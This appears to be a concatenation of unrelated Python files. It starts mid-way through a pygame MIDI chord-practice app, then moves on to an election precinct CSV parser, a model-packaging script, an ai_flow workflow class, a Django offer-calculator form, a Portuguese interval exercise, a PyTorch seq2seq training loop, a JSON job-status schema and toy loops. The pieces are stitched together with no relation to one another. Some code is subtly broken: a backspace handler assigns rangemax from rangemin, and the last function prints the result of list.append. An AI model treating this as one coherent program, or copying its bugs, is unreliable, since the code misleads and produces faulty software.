                elif 400>=mouse[0]>=300 and 400>=mouse[1]>=300:
                    state='Practice'
                elif 400>=mouse[0]>=300 and 500>=mouse[1]>=400:
                    state='Library'

        elif state=='Practice': #TS, Notes

            if e.type == pygame.MOUSEBUTTONDOWN:
                if 330>=mouse[0]>=300 and  190>=mouse[1]>=160:
                    inp, inb, inc, ind, ine, inf=Menu.SettoFalse(inp, inb, inc, ind, ine, inf)
                elif 380>=mouse[0]>=350 and 190>=mouse[1]>=160:
                    inb, inp, inc, ind, ine, inf=Menu.SettoFalse(inb, inp, inc, ind, ine, inf)
                elif 493>=mouse[0]>=450 and 305>=mouse[1]>=277:
                    inc, inp, inb, ind, ine, inf=Menu.SettoFalse(inc, inp, inb, ind, ine, inf)
                elif 460>=mouse[0]>=430 and 430>=mouse[1]>=400:
                    ind, inp, inb, inc, ine, inf=Menu.SettoFalse(ind, inp, inb, inc, ine, inf)
                elif 485>=mouse[0]>=455 and 480>=mouse[1]>=450:
                    inf, inp, inb, ind, ine, inc=Menu.SettoFalse(inf, inp, inb, ind, ine, inc)

                elif 420>=mouse[0]>=410 and 258>=mouse[1]>=248:
                        boxone, boxtwo, boxthree, boxfour, boxfive, boxsix=Menu.SettoFalse(boxone, boxtwo, boxthree, boxfour, boxfive, boxsix)
                        NoteTypeList=['WholeNote']
                        NoteType=16
                        TS[1]='1'
                elif 458>=mouse[0]>=448 and 258>=mouse[1]>=248:
                        boxtwo, boxone, boxthree, boxfour, boxfive, boxsix=Menu.SettoFalse(boxone, boxtwo, boxthree, boxfour, boxfive, boxsix)
                        NoteTypeList=['HalfNote']
                        NoteType=8
                        TS[1]='2'
                elif 496>=mouse[0]>=486 and 258>=mouse[1]>=248:
                        boxthree, boxtwo, boxone, boxfour, boxfive, boxsix=Menu.SettoFalse(boxone, boxtwo, boxthree, boxfour, boxfive, boxsix)
                        NoteTypeList=['FourthNote']
                        NoteType=4
                        TS[1]='4'
                elif 534>=mouse[0]>=524 and 258>=mouse[1]>=248:
                        boxfour, boxtwo, boxthree, boxone, boxfive, boxsix=Menu.SettoFalse(boxone, boxtwo, boxthree, boxfour, boxfive, boxsix)
                        NoteTypeList=['EthNote']
                        NoteType=2
                        TS[1]='8'
                elif 572>=mouse[0]>=562 and 258>=mouse[1]>=248:
                        boxfive, boxtwo, boxthree, boxfour, boxone, boxsix=Menu.SettoFalse(boxone, boxtwo, boxthree, boxfour, boxfive, boxsix)
                        NoteTypeList=['SixteenthNote']
                        NoteType=1
                        TS[1]='16'

                elif 430>=mouse[0]>=420 and 358>=mouse[1]>=348:
                    if chordbox==1:
                        chordbox=2
                    else:
                        chordbox=1
                    inp=False
                    inc=False
                    inb=False
                elif 640>=mouse[0]>=600 and 540>=mouse[1]>=500:
                    go=True
                    state=''

                else:
                    inp=False
                    inb=False
                    inc=False
            elif e.type == pygame.KEYDOWN:
                if inp:
                    if e.key == pygame.K_BACKSPACE:
                        rangemin = rangemin[:-1]
                    else:
                        rangemin += e.unicode
                if inb:
                    if e.key == pygame.K_BACKSPACE:
                        rangemax = rangemin[:-1]
                    else:
                        rangemax += e.unicode
                if inc:
                    if e.key == pygame.K_BACKSPACE:
                        NumNotes = NumNotes[:-1]
                    else:
                        NumNotes += e.unicode
                if ind:
                    if e.key == pygame.K_BACKSPACE:
                        TS[0] = TS[0][:-1]
                    else:
                        TS[0] += e.unicode
                if inf:
                    if e.key == pygame.K_BACKSPACE:
                        BPM = BPM[:-1]
                    else:
                        BPM += e.unicode

        elif state=='Library': #TS, Notes
            pass

    if inp==True:
        textinput.update(events)
    if inb==True:
        textinputtwo.update(events)
    if inc==True:
        textinputthree.update(events)
    if ind==True:
        textinputfour.update(events)
    if inf==True:
        textinputsix.update(events)

    if state=='Practice':
        screen.blit(textinput.get_surface(), (302, 163))
        screen.blit(textinputtwo.get_surface(), (352, 163))
        screen.blit(textinputthree.get_surface(), (452, 280))
        screen.blit(textinputfour.get_surface(), (432, 402))
        screen.blit(textinputsix.get_surface(), (452, 457))
        screen.blit(TSOne, (485, 394))

    if go==True:
        BPM=int(BPM)
        RList=[]
        LList=[]
        NewTimeList=[]
        InputMarkerR=0
        InputMarkerL=0
        InputListR=[]
        InputListL=[]
        h=((60/BPM)*1000)/int(Trans[str(TS[1])]) # 16th note length
        h=int(h)
        g=0
        d=0
        while g<int(NumNotes):
            g+=1
            s=h*NoteType
            j=2
            k=random.randint(int(rangemin), int(rangemax))
            f=random.randint(0,3)
            if chordbox:
                j=random.randint(1,2)
            if j==1 and 40>k>32:
                k=32
            if j==1 and k>81:
                k=81
            if j==2:
                NewTimeList.append(list(([d, s+d], k)))
                if k>39:
                    NewTimeList.append(list(([d, s+d], 0)))
                else:
                    NewTimeList.append(list(([d, s+d], 89)))
            else:
                if f==3:
                    NewTimeList.append(list(([d, s+d], k)))
                    NewTimeList.append(list(([d, s+d], k+4)))
                    if k>39:
                        NewTimeList.append(list(([d, s+d], 0)))
                    else:
                        NewTimeList.append(list(([d, s+d], 89)))

                elif f==2:
                    NewTimeList.append(list(([d, s+d], k)))
                    NewTimeList.append(list(([d, s+d], k+7)))
                    if k>39:
                        NewTimeList.append(list(([d, s+d], 0)))
                    else:
                        NewTimeList.append(list(([d, s+d], 89)))

                elif f==1:
                    NewTimeList.append(list(([d, s+d], k)))
                    NewTimeList.append(list(([d, s+d], k+3)))
                    NewTimeList.append(list(([d, s+d], k+7)))
                    if k>39:
                        NewTimeList.append(list(([d, s+d], 0)))
                    else:
                        NewTimeList.append(list(([d, s+d], 89)))
                else:
                    NewTimeList.append(list(([d, s+d], k)))
                    NewTimeList.append(list(([d, s+d], k+4)))
                    NewTimeList.append(list(([d, s+d], k+7)))
                    if k>39:
                        NewTimeList.append(list(([d, s+d], 0)))
                    else:
                        NewTimeList.append(list(([d, s+d], 89)))
            d+=s
        go=''
        state='NewCSV'

       # elif state=='Library':
#            pass

    pygame.display.update()
    if i.poll():
        midi_events = i.read(10)
        midi_evs = pygame.midi.midis2events(midi_events, i.device_id)
        for m_e in midi_evs:
            event_post( m_e )
pygame.quit()


import sys
import os
import re
import csv

filepath = sys.argv[1]
if not os.path.exists('results/'):
    os.makedirs('results/')

f = open(filepath,'r')
precincts = f.read().split('\n\n')
headers = ['pct16','%s_yes' % (filepath.replace('.txt','')),'%s_no' % (filepath.replace('.txt',''))]
output = open('results/%s.csv' % filepath.replace('.txt',''),'w')
csvwriter = csv.writer(output)
csvwriter.writerow(headers)

for precinct in precincts:
    # print precincts
    row = []
    pct16 = re.search(r'(?:Precinct\n.+)(\d{5})(?:\n)',precinct,flags=re.MULTILINE).group(1)
    row.append("095-%s" % pct16)

    yesline = re.search(r'.*YES .+',precinct).group(0)
    # print yesline
    yes = re.split(r'\t',yesline)[1]
    row.append(yes)

    noline = re.search(r'.*NO .+',precinct).group(0)
    # print noline
    no = re.split(r'\t',noline)[1]
    row.append(no)
    csvwriter.writerow(row)

f.close()
output.close()


import os
import glob
import shutil
import tarfile

from pathlib import Path

DESCRIPTION = """

 Prifysgol Bangor University

"""

TECHIAITH_RELEASE=os.environ["TECHIAITH_RELEASE"]

#
def copy_for_evaluation_or_publishing(source_dir, target_dir):

    Path(target_dir).mkdir(parents=True, exist_ok=True)

    # copy json files
    for file in glob.glob(os.path.join(source_dir, r"*.json")):
        print ("Copying %s" % file)
        shutil.copy(file, target_dir)

    # copy config and model binary file
    checkpoint_dir=glob.glob(os.path.join(source_dir, r"checkpoint-*"))[0]
    shutil.copy(os.path.join(checkpoint_dir, "config.json"), target_dir)
    shutil.copy(os.path.join(checkpoint_dir, "pytorch_model.bin"), target_dir)

    return target_dir

#
def make_model_tarfile(model_name, source_dir, version=TECHIAITH_RELEASE):
    output_dir = Path(source_dir).parent
    output_tar_file_path = os.path.join(output_dir, model_name.replace("/","_") + "." + version + ".tar.gz")
    with tarfile.open(output_tar_file_path, "w:gz") as tar:
        tar.add(source_dir, arcname="")

    return output_tar_file_path


#
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements.  See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership.  The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License.  You may obtain a copy of the License at
#
#   http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied.  See the License for the
# specific language governing permissions and limitations
# under the License.
#
from ai_flow.util.json_utils import Jsonable
from typing import Text
from ai_flow.common.properties import Properties

class WorkflowMeta(Jsonable):
    """define workflow meta"""

    def __init__(self,
                 name: Text,
                 project_id: int,
                 properties: Properties = None,
                 create_time: int = None,
                 update_time: int = None,
                 uuid: int = None
                 ) -> None:
        """

        :param name: the workflow name
        :param project_id: the uuid of project which contains this workflow
        :param properties: the workflow properties
        :param create_time: create time represented as milliseconds since epoch.
        :param update_time: update time represented as milliseconds since epoch.
        :param uuid: uuid in database
        """

        self.name = name
        self.project_id = project_id
        self.properties = properties
        self.create_time = create_time
        self.update_time = update_time
        self.uuid = uuid

    def __str__(self):
        return '<\n' \
               'WorkflowMeta\n' \
               'uuid:{},\n' \
               'name:{},\n' \
               'project_id:{},\n' \
               'properties:{},\n' \
               'create_time:{},\n' \
               'update_time:{},\n' \
               '>'.format(self.uuid,
                          self.name,
                          self.project_id,
                          self.properties,
                          self.create_time,
                          self.update_time)

def create_workflow(name: Text,
                    project_id: Text,
                    properties: Properties = None,
                    create_time: int = None,
                    update_time: int = None,
                    ) -> WorkflowMeta:
    return WorkflowMeta(name=name, project_id=project_id, properties=properties,
                        create_time=create_time, update_time=update_time)


# -*- coding: utf-8 -*-

from django import forms
from django.utils import timezone

from irs_common.datasync import DataSync
from utils.forms import ImprovedForm
from clients.models import Client
# from .models import

class ClientFormMixin(object):
    prefix = ''
    subform_classname = ''
    mandatory_client = True

    def __init__(self, *args, **kwargs):
        client_id = kwargs.pop('client_id')
        self.client = None
        if self.mandatory_client or client_id:
            self.client = Client.objects.get(pk=client_id)
        self._object = kwargs.pop('object', None)
        super().__init__(*args, **kwargs)
        self.reinit_widgets()

    def add_subform_checkbox(self, fieldname, subform_name, reltype='1x1', count=0, max_count=0):
        if reltype == '1x1':
            self.set_widget_class(fieldname, "form1x1switcher switcher-%s" % subform_name)
        else:
            self.set_widget_class(fieldname, "form1xnswitcher switcher-%s" % subform_name)
            self.fields[fieldname].widget.attrs['data-subform-count'] = str(count)
            self.fields[fieldname].widget.attrs['data-subform-maxcount'] = str(max_count)
        self.fields[fieldname].widget.attrs['data-subform-name'] = subform_name

class OICCalculatorForm(ClientFormMixin, ImprovedForm, forms.ModelForm):
    pp_debt_total = forms.IntegerField(initial=15000)
    pp_monthly_income = forms.IntegerField(initial=200)
    pp_assessed_date = forms.DateField(initial=timezone.datetime(2009, 2, 5))
    pp_offer_amount = forms.IntegerField(initial=0)

    mandatory_client = False

    class Meta:
        model = Client  # actually not needed, but it would be useful for mixins
        exclude = ()

    def __init__(self, *args, **kwargs):
        super().__init__(*args, **kwargs)
        if self.client:
            dsync = DataSync(self.client)
            self.fields['pp_debt_total'].initial = dsync.get('debt_total', 0) or 15000
            income = dsync.get('net_difference', lambda: 0)()
            if income == 0:
                income = dsync.get('monthly_income', 0)
            self.fields['pp_monthly_income'].initial = income or 200
            self.fields['pp_assessed_date'].initial = dsync.get('assessed_date') or timezone.datetime(2009, 2, 5)
            self.fields['pp_offer_amount'].initial = dsync.get('offer_amount', 0)


A = []
R = []
LMin = int(input("Digite o valor mínimo do intervalo a ser computado: "))
LMax = int(input("Digite o valor máximo do intervalo a ser computado: "))
if LMax < LMin:
    print("Valor Mínimo ({}) maior que Máximo({}), invertendo valores..." .format(LMin,LMax))
    aux = LMin
    LMin = LMax
    LMax = aux
    print("LMin = {} | LMax = {}" .format(LMin,LMax))
N = int(input("Quantos números deseja computar? "))
if N > 0:
    for x in range(N):
        VALOR = int(input("Digite um valor: "))
        if LMax >= VALOR >= LMin:
            A.append(VALOR)
        else:
            R.append(VALOR)
    print("-----------------------------------------------------------------")
    print("Valores dentro do Intervalo [{},{}] \nA = {}" .format(LMin,LMax,A))
    print("Tamanho da lista A = {}" .format(len(A)))
    print("-----------------------------------------------------------------")
    print("Valores fora do intervalor R = {}" .format(R))
    print("Tamanho da lista R = {}" .format(len(R)))
    print("-----------------------------------------------------------------")
else:
    print("Saindo...")


import torch
from torch import nn
from torch.autograd import Variable

from prettytable import PrettyTable
from tqdm import tqdm
import numpy as np

from datasets import BurstDataset, ShuffledBatchSequentialSampler, FakeBurstDataset

import sys
import os
import random

import losswise

def flip(x, dim):
    xsize = x.size()
    dim = x.dim() + dim if dim < 0 else dim
    x = x.contiguous().view(-1, *xsize[dim:])
    x = x.view(x.size(0), x.size(1), -1)[:, getattr(torch.arange(x.size(1)-1,
                      -1, -1), ('cpu','cuda')[x.is_cuda])().long(), :]
    return x.view(xsize)

class TeacherForcingProb:
    def __init__(self, slope, start_epoch_num):
        self.slope = slope
        self.tf_prob = 1
        for i in range(1, start_epoch_num):
            # if resuming training rather than starting at beginning,
            # fast-forward probability to proper place
            self.epoch_seen()

    def epoch_seen(self):
        if self.slope is None:
            return
        self.tf_prob = max(0, self.tf_prob - self.slope)

    def should_teacher_force(self):
        if self.slope is None:
            return False
        rand_num = random.uniform(0, 1)
        if rand_num < self.tf_prob:
            return True
        return False

def run_batch(masks, bursts, encoder, decoder, teacher_forcing, train_reversed, is_training):
    burst_lens = masks.sum(dim=1)
    max_seq_length = int(burst_lens.max().data.cpu().numpy()[0])

    # trim bursts and masks to be padded only up to the max_seq_length
    bursts_trimmed = bursts.narrow(1, 0, max_seq_length)
    masks_trimmed = masks.narrow(1, 0, max_seq_length)

    # print burst_lens.min().data.numpy()[0], burst_lens.max().data.numpy()[0]
    enc_out, hidden, cell = encoder(bursts_trimmed)

    if train_reversed:
        target_bursts = flip(bursts_trimmed, 1)   # still batch_size x output_seq_length, but reversed in seq_length dimension
    else:
        target_bursts = bursts_trimmed

    # output is size batch_size x output_seq_length x input_size
    if is_training and teacher_forcing.should_teacher_force():
        # to do teacher forcing, pass in something for target_output
        output = decoder(hidden, cell, max_seq_length, target_output=target_bursts.permute(1,0).unsqueeze(2))
    else:
        output = decoder(hidden, cell, max_seq_length)

    loss_fn = torch.nn.MSELoss(reduce=False)
    mses = loss_fn(output.squeeze(), target_bursts)
    # avg_mses is size [batch_size], giving mse for each elt in batch
    avg_mses = torch.sum(mses * masks_trimmed, 1) / burst_lens
    loss = avg_mses.mean()
    return loss

def summarize_params(model):
    params = []
    for param in model.parameters():
        params.append(param.sum().data.cpu().numpy()[0])
    return params

def run_epoch(dataset, batch_size, is_training, encoder, decoder, encoder_optimizer, decoder_optimizer,
              teacher_forcing, train_reversed, batch_by_len, save_path):
    if is_training:
        print('encoder params at epoch start', summarize_params(encoder))
        print('decoder params at epoch start', summarize_params(decoder))
    sys.stdout.flush()
    batch_sampler = ShuffledBatchSequentialSampler(dataset, batch_size=batch_size, drop_last=False)
    if batch_by_len:
        data_loader = torch.utils.data.DataLoader(dataset, batch_sampler=batch_sampler)
    else:
        data_loader = torch.utils.data.DataLoader(dataset, batch_size=batch_size, shuffle=False, drop_last=True)
    losses = []
    if is_training:
        encoder.train()
        decoder.train()
    else:
        encoder.eval()
        decoder.eval()
    for batch in tqdm(data_loader):
        if is_training:
            encoder_optimizer.zero_grad()
            decoder_optimizer.zero_grad()
        masks = Variable(batch['mask']) # [batch_size x pad_length]
        bursts = Variable(batch['burst'])   # [batch_size x pad_length]
        if torch.cuda.is_available():
            masks = masks.cuda()
            bursts = bursts.cuda()
        loss = run_batch(masks, bursts, encoder, decoder, teacher_forcing, train_reversed, is_training)

        if is_training:
            loss.backward()
            encoder_optimizer.step()
            decoder_optimizer.step()
        losses.append(loss.cpu().data[0])
    if is_training and save_path is not None:
        # save the model
        enc_save_path = save_path + '_enc.pkl'
        dec_save_path = save_path + '_dec.pkl'
        torch.save(encoder.state_dict(), enc_save_path)
        torch.save(decoder.state_dict(), dec_save_path)
    if is_training:
        teacher_forcing.epoch_seen()
    avg_loss = np.mean(losses)
    return avg_loss

def train_model(train_data, dev_data, test_data, encoder, decoder, save_dir=None, batch_size=50,
                num_epochs=50, start_epoch_num=1, lr=1e-3, weight_decay=1e-1, teacher_forcing_slope=None, train_reversed=False, batch_by_len=True,
               losswise_graph=None, params_dict={}):
    # Note: params dict is used only for printing
    if (save_dir is not None) and (not os.path.exists(save_dir)):
        os.makedirs(save_dir)
    print("start train_model")
    print("****************************************")
    print(params_dict)
    print("Batch size: {}, num_epochs: {}, lr: {}, weight_decay: {}".format(batch_size, num_epochs, lr, weight_decay))
    print("Encoder", encoder)
    print("Decoder", decoder)
    print("*****************************************")

    # might need to do parameters = filter(lambda p: p.requires_grad, model.parameters())
    encoder_optimizer = torch.optim.Adam(encoder.parameters(), lr=lr, weight_decay=weight_decay)
    decoder_optimizer = torch.optim.Adam(decoder.parameters(), lr=lr, weight_decay=weight_decay)
    teacher_forcing = TeacherForcingProb(teacher_forcing_slope, start_epoch_num)
    result_table = PrettyTable(["Epoch", "train loss", "dev loss", "test loss"])
    for epoch in range(start_epoch_num, num_epochs + start_epoch_num):
        print("epoch", epoch)
        if save_dir is None:
            save_path = None
        else:
            save_path = os.path.join(save_dir, 'epoch{}'.format(epoch))
        sys.stdout.flush()
        train_loss = run_epoch(train_data, batch_size, True, encoder, decoder, encoder_optimizer, decoder_optimizer, teacher_forcing, train_reversed, batch_by_len, save_path)
        dev_loss = run_epoch(dev_data, batch_size, False, encoder, decoder, encoder_optimizer, decoder_optimizer, teacher_forcing, train_reversed, batch_by_len, save_path)
        test_loss = run_epoch(test_data, batch_size, False, encoder, decoder, encoder_optimizer, decoder_optimizer, teacher_forcing, train_reversed, batch_by_len, save_path)
        result_table.add_row(
                            [ epoch ] +
                            [ "%.7f" % x for x in [train_loss, dev_loss, test_loss]
                                         ])
        print("{}".format(result_table))
        if losswise_graph is not None:
            losswise_graph.append(epoch, {'train_loss': train_loss, 'dev_loss': dev_loss, 'test_loss': test_loss})
        sys.stdout.flush()


"""
job_status objects are used to report the status after submission and to track the
status during execution of a job
"""

job_status =	{
	"type": "object",
	"properties": {
		"job_id" : { "type": "string" },
 		"status" : {
 			"enum": [
				"JOB_UNKNOWN",
 				"JOB_ACCEPTED",
 				"JOB_RUNNING",
 				"JOB_SUCCESS",
 				"JOB_FAILED",
 				"JOB_REJECTED",
 				"JOB_CANCELLED"
 			],
			#"default": "JOB_UNKNOWN"
		},
		"start_time": { "type": "number" },
		"completion_time": { "type": "number" },
		"nrecord": { "type": "integer" },
		"currecord": { "type": "integer" },
		"calculation_info" : {
			"type": "object",
			#"$ref": "http://etoxsys.eu/schema/etoxws/v3/calculation_info#",
		},
		"results": {
			"type" : "array",
			"items": {
				"type": "object",
				"description": "instance of a result type matching the return_type_spec in the calculation_info"
			}
		},
		"msg" : { "type": "string" },
	},
	"required": [ "job_id", "status" ]
	#"additionalProperties": True,
}

_job_status_doc = """
"""


# def eval():
#     i=1
#     result = 1
#     while i <= 10:
#         result = result * i
#         i += 1
#         print(result)

# def eval():
#     i = 1
#     result = 1
#     while True:
#         if i > 10: break
#         result = result * i
#         i += 1
#         print(result)

def eval():
    i = 0
    result = []
    while i < 10:
        i += 1
        if (i % 2) == 0: continue
        print(result.append(i))